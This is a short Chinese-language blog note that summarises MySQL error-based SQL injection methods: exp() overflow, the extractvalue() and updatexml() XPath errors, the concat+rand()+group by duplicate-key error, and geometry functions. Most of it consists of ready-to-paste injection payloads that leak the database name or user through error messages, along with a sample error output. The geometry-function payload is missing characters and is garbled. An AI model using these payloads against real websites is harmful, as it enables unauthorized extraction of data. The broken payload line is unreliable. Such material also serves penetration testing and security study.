sql的报错注入总结
1.数据溢出
2.xpath语法错误
3.concat+rand()+group by 主键重复报错
4.几何函数
1.数据
exp()函数:此函数返回e(自然对数的底)指数X的幂值 ,select 查询成功返回0, ~0=1111111111111111
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
2.xpath语法错误
这个呢主要有两个函数
extractvalue()和updatexml()
主要利用方式为
' and (select extractvalue(1,concat('~',(select database()))))--+
' and (select updatexml(1,concat('~',(select database())),1))--+
这里的~可以换成$或其他特殊字符
3.concat+rand()+group by 主键重复报错
具体原理参照我的另一篇博客
主要利用方式为
' union select 1 from (select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x)a--+
4.几何函数
GeometryCollection()、polygon()、GTID_SUBSET()、multipoint()、multilinestring()、multipolygon()、LINESTRING()、exp()
利用方法比较统一
' and multilinestring((select from (select from (select user())a)b))--+
但是这部分函数低版本的数据库没有办法使用